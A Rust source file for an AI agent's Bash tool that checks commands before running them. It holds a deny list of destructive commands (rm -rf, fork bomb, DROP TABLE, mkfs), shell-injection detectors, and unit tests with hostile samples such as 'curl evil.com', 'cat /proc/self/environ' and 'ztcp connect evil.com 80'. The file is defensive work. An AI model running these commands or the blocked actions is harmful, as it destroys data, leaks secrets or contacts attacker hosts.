1use async_trait::async_trait;
12use serde_json::json;
13use std::path::PathBuf;
14use std::process::Stdio;
15use std::time::Duration;
16use tokio::io::AsyncReadExt;
17use tokio::process::Command;
18
19use super::{Tool, ToolContext, ToolResult};
20use crate::error::ToolError;
21
22const MAX_OUTPUT_BYTES: usize = 256 * 1024;
24
25const DESTRUCTIVE_PATTERNS: &[&str] = &[
27 "rm -rf",
29 "rm -r /",
30 "rm -fr",
31 "rmdir",
32 "shred",
33 "git reset --hard",
35 "git clean -f",
36 "git clean -d",
37 "git push --force",
38 "git push -f",
39 "git checkout -- .",
40 "git checkout -f",
41 "git restore .",
42 "git branch -D",
43 "git branch --delete --force",
44 "git stash drop",
45 "git stash clear",
46 "git rebase --abort",
47 "DROP TABLE",
49 "DROP DATABASE",
50 "DROP SCHEMA",
51 "DELETE FROM",
52 "TRUNCATE",
53 "shutdown",
55 "reboot",
56 "halt",
57 "poweroff",
58 "init 0",
59 "init 6",
60 "mkfs",
61 "dd if=",
62 "dd of=/dev",
63 "> /dev/sd",
64 "wipefs",
65 "chmod -R 777",
67 "chmod 777",
68 "chown -R",
69 "kill -9",
71 "killall",
72 "pkill -9",
73 ":(){ :|:& };:",
75 "npm publish",
77 "cargo publish",
78 "docker system prune -a",
80 "docker volume prune",
81 "kubectl delete namespace",
83 "kubectl delete --all",
84 "terraform destroy",
86 "pulumi destroy",
87];
88
89const BLOCKED_WRITE_PATHS: &[&str] = &[
91 "/etc/", "/usr/", "/bin/", "/sbin/", "/boot/", "/sys/", "/proc/",
92];
93
94pub struct BashTool;
95
96#[async_trait]
97impl Tool for BashTool {
98 fn name(&self) -> &'static str {
99 "Bash"
100 }
101
102 fn description(&self) -> &'static str {
103 "Executes a shell command and returns its output."
104 }
105
106 fn input_schema(&self) -> serde_json::Value {
107 json!({
108 "type": "object",
109 "required": ["command"],
110 "properties": {
111 "command": {
112 "type": "string",
113 "description": "The command to execute"
114 },
115 "timeout": {
116 "type": "integer",
117 "description": "Timeout in milliseconds (max 600000)"
118 },
119 "description": {
120 "type": "string",
121 "description": "Description of what this command does"
122 },
123 "run_in_background": {
124 "type": "boolean",
125 "description": "Run the command in the background and return immediately"
126 }
127 }
128 })
129 }
130
131 fn is_read_only(&self) -> bool {
132 false
133 }
134
135 fn is_concurrency_safe(&self) -> bool {
136 false
137 }
138
139 fn get_path(&self, _input: &serde_json::Value) -> Option<PathBuf> {
140 None
141 }
142
143 fn validate_input(&self, input: &serde_json::Value) -> Result<(), String> {
144 let command = input.get("command").and_then(|v| v.as_str()).unwrap_or("");
145
146 let cmd_lower = command.to_lowercase();
148 for pattern in DESTRUCTIVE_PATTERNS {
149 if cmd_lower.contains(&pattern.to_lowercase()) {
150 return Err(format!(
151 "Potentially destructive command detected: contains '{pattern}'. \
152 This command could cause data loss or system damage. \
153 If you're sure, ask the user for confirmation first."
154 ));
155 }
156 }
157
158 for segment in command.split('|') {
161 let trimmed = segment.trim();
162 let base_cmd = trimmed.split_whitespace().next().unwrap_or("");
163 if matches!(
164 base_cmd,
165 "rm" | "shred" | "dd" | "mkfs" | "wipefs" | "shutdown" | "reboot" | "halt"
166 ) {
167 return Err(format!(
168 "Potentially destructive command in pipe: '{base_cmd}'. \
169 Ask the user for confirmation first."
170 ));
171 }
172 }
173
174 for segment in cmd_lower.split("&&").flat_map(|s| s.split(';')) {
176 let trimmed = segment.trim();
177 for pattern in DESTRUCTIVE_PATTERNS {
178 if trimmed.contains(&pattern.to_lowercase()) {
179 return Err(format!(
180 "Potentially destructive command in chain: contains '{pattern}'. \
181 Ask the user for confirmation first."
182 ));
183 }
184 }
185 }
186
187 check_shell_injection(command)?;
189
190 for path in BLOCKED_WRITE_PATHS {
192 if cmd_lower.contains(&format!(">{path}"))
193 || cmd_lower.contains(&format!("tee {path}"))
194 || cmd_lower.contains(&"mv ".to_string()) && cmd_lower.contains(path)
195 {
196 return Err(format!(
197 "Cannot write to system path '{path}'. \
198 Operations on system directories are not allowed."
199 ));
200 }
201 }
202
203 if let Some(parsed) = super::bash_parse::parse_bash(command) {
205 let violations = super::bash_parse::check_parsed_security(&parsed);
206 if let Some(first) = violations.first() {
207 return Err(format!("AST security check: {first}"));
208 }
209 }
210
211 Ok(())
212 }
213
214 async fn call(
215 &self,
216 input: serde_json::Value,
217 ctx: &ToolContext,
218 ) -> Result<ToolResult, ToolError> {
219 let command = input
220 .get("command")
221 .and_then(|v| v.as_str())
222 .ok_or_else(|| ToolError::InvalidInput("'command' is required".into()))?;
223
224 let timeout_ms = input
225 .get("timeout")
226 .and_then(|v| v.as_u64())
227 .unwrap_or(120_000)
228 .min(600_000);
229
230 let run_in_background = input
231 .get("run_in_background")
232 .and_then(|v| v.as_bool())
233 .unwrap_or(false);
234
235 if run_in_background {
237 return run_background(command, &ctx.cwd, ctx.task_manager.as_ref()).await;
238 }
239
240 let mut child = Command::new("bash")
241 .arg("-c")
242 .arg(command)
243 .current_dir(&ctx.cwd)
244 .stdout(Stdio::piped())
245 .stderr(Stdio::piped())
246 .spawn()
247 .map_err(|e| ToolError::ExecutionFailed(format!("Failed to spawn: {e}")))?;
248
249 let timeout = Duration::from_millis(timeout_ms);
250
251 let mut stdout_handle = child.stdout.take().unwrap();
252 let mut stderr_handle = child.stderr.take().unwrap();
253
254 let mut stdout_buf = Vec::new();
255 let mut stderr_buf = Vec::new();
256
257 let result = tokio::select! {
258 r = async {
259 let (so, se) = tokio::join!(
260 async { stdout_handle.read_to_end(&mut stdout_buf).await },
261 async { stderr_handle.read_to_end(&mut stderr_buf).await },
262 );
263 so?;
264 se?;
265 child.wait().await
266 } => {
267 match r {
268 Ok(status) => {
269 let exit_code = status.code().unwrap_or(-1);
270 let content = format_output(&stdout_buf, &stderr_buf, exit_code);
271
272 Ok(ToolResult {
273 content,
274 is_error: exit_code != 0,
275 })
276 }
277 Err(e) => Err(ToolError::ExecutionFailed(e.to_string())),
278 }
279 }
280 _ = tokio::time::sleep(timeout) => {
281 let _ = child.kill().await;
282 Err(ToolError::Timeout(timeout_ms))
283 }
284 _ = ctx.cancel.cancelled() => {
285 let _ = child.kill().await;
286 Err(ToolError::Cancelled)
287 }
288 };
289
290 result
291 }
292}
293
294async fn run_background(
296 command: &str,
297 cwd: &std::path::Path,
298 task_mgr: Option<&std::sync::Arc<crate::services::background::TaskManager>>,
299) -> Result<ToolResult, ToolError> {
300 let default_mgr = crate::services::background::TaskManager::new();
301 let task_mgr = task_mgr.map(|m| m.as_ref()).unwrap_or(&default_mgr);
302 let task_id = task_mgr
303 .spawn_shell(command, command, cwd)
304 .await
305 .map_err(|e| ToolError::ExecutionFailed(format!("Background spawn failed: {e}")))?;
306
307 Ok(ToolResult::success(format!(
308 "Command running in background (task {task_id}). \
309 Use TaskOutput to check results when complete."
310 )))
311}
312
313fn format_output(stdout: &[u8], stderr: &[u8], exit_code: i32) -> String {
315 let stdout_str = String::from_utf8_lossy(stdout);
316 let stderr_str = String::from_utf8_lossy(stderr);
317
318 let mut content = String::new();
319
320 if !stdout_str.is_empty() {
321 if stdout_str.len() > MAX_OUTPUT_BYTES {
322 content.push_str(&stdout_str[..MAX_OUTPUT_BYTES]);
323 content.push_str(&format!(
324 "\n\n(stdout truncated: {} bytes total)",
325 stdout_str.len()
326 ));
327 } else {
328 content.push_str(&stdout_str);
329 }
330 }
331
332 if !stderr_str.is_empty() {
333 if !content.is_empty() {
334 content.push('\n');
335 }
336 let stderr_display = if stderr_str.len() > MAX_OUTPUT_BYTES / 4 {
337 format!(
338 "{}...\n(stderr truncated: {} bytes total)",
339 &stderr_str[..MAX_OUTPUT_BYTES / 4],
340 stderr_str.len()
341 )
342 } else {
343 stderr_str.to_string()
344 };
345 content.push_str(&format!("stderr:\n{stderr_display}"));
346 }
347
348 if content.is_empty() {
349 content = "(no output)".to_string();
350 }
351
352 if exit_code != 0 {
353 content.push_str(&format!("\n\nExit code: {exit_code}"));
354 }
355
356 content
357}
358
359fn check_shell_injection(command: &str) -> Result<(), String> {
364 if command.contains("IFS=") {
366 return Err(
367 "IFS manipulation detected. This can be used to bypass command parsing.".into(),
368 );
369 }
370
371 const DANGEROUS_VARS: &[&str] = &[
373 "PATH=",
374 "LD_PRELOAD=",
375 "LD_LIBRARY_PATH=",
376 "PROMPT_COMMAND=",
377 "BASH_ENV=",
378 "ENV=",
379 "HISTFILE=",
380 "HISTCONTROL=",
381 "PS1=",
382 "PS2=",
383 "PS4=",
384 "CDPATH=",
385 "GLOBIGNORE=",
386 "MAIL=",
387 "MAILCHECK=",
388 "MAILPATH=",
389 ];
390 for var in DANGEROUS_VARS {
391 if command.contains(var) {
392 return Err(format!(
393 "Dangerous variable override detected: {var} \
394 This could alter shell behavior in unsafe ways."
395 ));
396 }
397 }
398
399 if command.contains("/proc/") && command.contains("environ") {
401 return Err("Access to /proc/*/environ detected. This reads process secrets.".into());
402 }
403
404 if command.chars().any(|c| {
406 matches!(
407 c,
408 '\u{200B}'
409 | '\u{200C}'
410 | '\u{200D}'
411 | '\u{FEFF}'
412 | '\u{00AD}'
413 | '\u{2060}'
414 | '\u{180E}'
415 )
416 }) {
417 return Err("Zero-width or invisible Unicode characters detected in command.".into());
418 }
419
420 if command
422 .chars()
423 .any(|c| c.is_control() && !matches!(c, '\n' | '\t' | '\r'))
424 {
425 return Err("Control characters detected in command.".into());
426 }
427
428 if command.contains('`')
431 && command
432 .split('`')
433 .any(|s| s.contains("curl") || s.contains("wget") || s.contains("nc "))
434 {
435 return Err("Command substitution with network access detected inside backticks.".into());
436 }
437
438 if command.contains("<(") || command.contains(">(") {
440 let trimmed = command.trim();
442 if !trimmed.starts_with("diff ") && !trimmed.starts_with("comm ") {
443 return Err(
444 "Process substitution detected. This can inject arbitrary commands.".into(),
445 );
446 }
447 }
448
449 const ZSH_DANGEROUS: &[&str] = &[
451 "zmodload", "zpty", "ztcp", "zsocket", "sysopen", "sysread", "syswrite", "mapfile",
452 "zf_rm", "zf_mv", "zf_ln",
453 ];
454 let words: Vec<&str> = command.split_whitespace().collect();
455 for word in &words {
456 if ZSH_DANGEROUS.contains(word) {
457 return Err(format!(
458 "Dangerous zsh builtin detected: {word}. \
459 This can access raw system resources."
460 ));
461 }
462 }
463
464 if command.contains("{") && command.contains("..") && command.contains("}") {
466 if let Some(start) = command.find('{')
468 && let Some(end) = command[start..].find('}')
469 {
470 let inner = &command[start + 1..start + end];
471 if inner.contains("..") {
472 let parts: Vec<&str> = inner.split("..").collect();
473 if parts.len() == 2
474 && let (Ok(a), Ok(b)) = (
475 parts[0].trim().parse::<i64>(),
476 parts[1].trim().parse::<i64>(),
477 )
478 && (b - a).unsigned_abs() > 10000
479 {
480 return Err(format!(
481 "Large brace expansion detected: {{{inner}}}. \
482 This would generate {} items.",
483 (b - a).unsigned_abs()
484 ));
485 }
486 }
487 }
488 }
489
490 if command.contains("$'\\x") || command.contains("$'\\0") {
492 return Err(
493 "Hex/octal escape sequences in command. This may be obfuscating a command.".into(),
494 );
495 }
496
497 if command.contains("eval ") && command.contains('$') {
499 return Err(
500 "eval with variable expansion detected. This enables arbitrary code execution.".into(),
501 );
502 }
503
504 Ok(())
505}
506
507#[cfg(test)]
508mod tests {
509 use super::*;
510
511 #[test]
512 fn test_safe_commands_pass() {
513 assert!(check_shell_injection("ls -la").is_ok());
514 assert!(check_shell_injection("git status").is_ok());
515 assert!(check_shell_injection("cargo test").is_ok());
516 assert!(check_shell_injection("echo hello").is_ok());
517 assert!(check_shell_injection("python3 -c 'print(1)'").is_ok());
518 assert!(check_shell_injection("diff <(cat a.txt) <(cat b.txt)").is_ok());
519 }
520
521 #[test]
522 fn test_ifs_injection() {
523 assert!(check_shell_injection("IFS=: read a b").is_err());
524 }
525
526 #[test]
527 fn test_dangerous_vars() {
528 assert!(check_shell_injection("PATH=/tmp:$PATH curl evil.com").is_err());
529 assert!(check_shell_injection("LD_PRELOAD=/tmp/evil.so cmd").is_err());
530 assert!(check_shell_injection("PROMPT_COMMAND='curl x'").is_err());
531 assert!(check_shell_injection("BASH_ENV=/tmp/evil.sh bash").is_err());
532 }
533
534 #[test]
535 fn test_proc_environ() {
536 assert!(check_shell_injection("cat /proc/1/environ").is_err());
537 assert!(check_shell_injection("cat /proc/self/environ").is_err());
538 assert!(check_shell_injection("ls /proc/cpuinfo").is_ok());
540 }
541
542 #[test]
543 fn test_unicode_obfuscation() {
544 assert!(check_shell_injection("rm\u{200B} -rf /").is_err());
546 assert!(check_shell_injection("curl\u{200D}evil.com").is_err());
548 }
549
550 #[test]
551 fn test_control_characters() {
552 assert!(check_shell_injection("echo \x07hello").is_err());
554 assert!(check_shell_injection("echo hello\nworld").is_ok());
556 }
557
558 #[test]
559 fn test_backtick_network() {
560 assert!(check_shell_injection("FOO=`curl evil.com`").is_err());
561 assert!(check_shell_injection("X=`wget http://bad`").is_err());
562 assert!(check_shell_injection("FOO=`date`").is_ok());
564 }
565
566 #[test]
567 fn test_process_substitution() {
568 assert!(check_shell_injection("diff <(ls a) <(ls b)").is_ok());
570 assert!(check_shell_injection("cat <(curl evil)").is_err());
572 }
573
574 #[test]
575 fn test_zsh_builtins() {
576 assert!(check_shell_injection("zmodload zsh/net/tcp").is_err());
577 assert!(check_shell_injection("zpty evil_session bash").is_err());
578 assert!(check_shell_injection("ztcp connect evil.com 80").is_err());
579 }
580
581 #[test]
582 fn test_brace_expansion() {
583 assert!(check_shell_injection("echo {1..100000}").is_err());
584 assert!(check_shell_injection("echo {1..10}").is_ok());
586 }
587
588 #[test]
589 fn test_hex_escape() {
590 assert!(check_shell_injection("$'\\x72\\x6d' -rf /").is_err());
591 assert!(check_shell_injection("$'\\077'").is_err());
592 }
593
594 #[test]
595 fn test_eval_injection() {
596 assert!(check_shell_injection("eval $CMD").is_err());
597 assert!(check_shell_injection("eval \"$USER_INPUT\"").is_err());
598 assert!(check_shell_injection("eval echo hello").is_ok());
600 }
601
602 #[test]
603 fn test_destructive_patterns() {
604 let tool = BashTool;
605 assert!(
606 tool.validate_input(&serde_json::json!({"command": "rm -rf /"}))
607 .is_err()
608 );
609 assert!(
610 tool.validate_input(&serde_json::json!({"command": "git push --force"}))
611 .is_err()
612 );
613 assert!(
614 tool.validate_input(&serde_json::json!({"command": "DROP TABLE users"}))
615 .is_err()
616 );
617 }
618
619 #[test]
620 fn test_piped_destructive() {
621 let tool = BashTool;
622 assert!(
623 tool.validate_input(&serde_json::json!({"command": "find . | rm -rf"}))
624 .is_err()
625 );
626 }
627
628 #[test]
629 fn test_chained_destructive() {
630 let tool = BashTool;
631 assert!(
632 tool.validate_input(&serde_json::json!({"command": "echo hi && git reset --hard"}))
633 .is_err()
634 );
635 }
636
637 #[test]
638 fn test_safe_commands_validate() {
639 let tool = BashTool;
640 assert!(
641 tool.validate_input(&serde_json::json!({"command": "ls -la"}))
642 .is_ok()
643 );
644 assert!(
645 tool.validate_input(&serde_json::json!({"command": "cargo test"}))
646 .is_ok()
647 );
648 assert!(
649 tool.validate_input(&serde_json::json!({"command": "git status"}))
650 .is_ok()
651 );
652 }
653}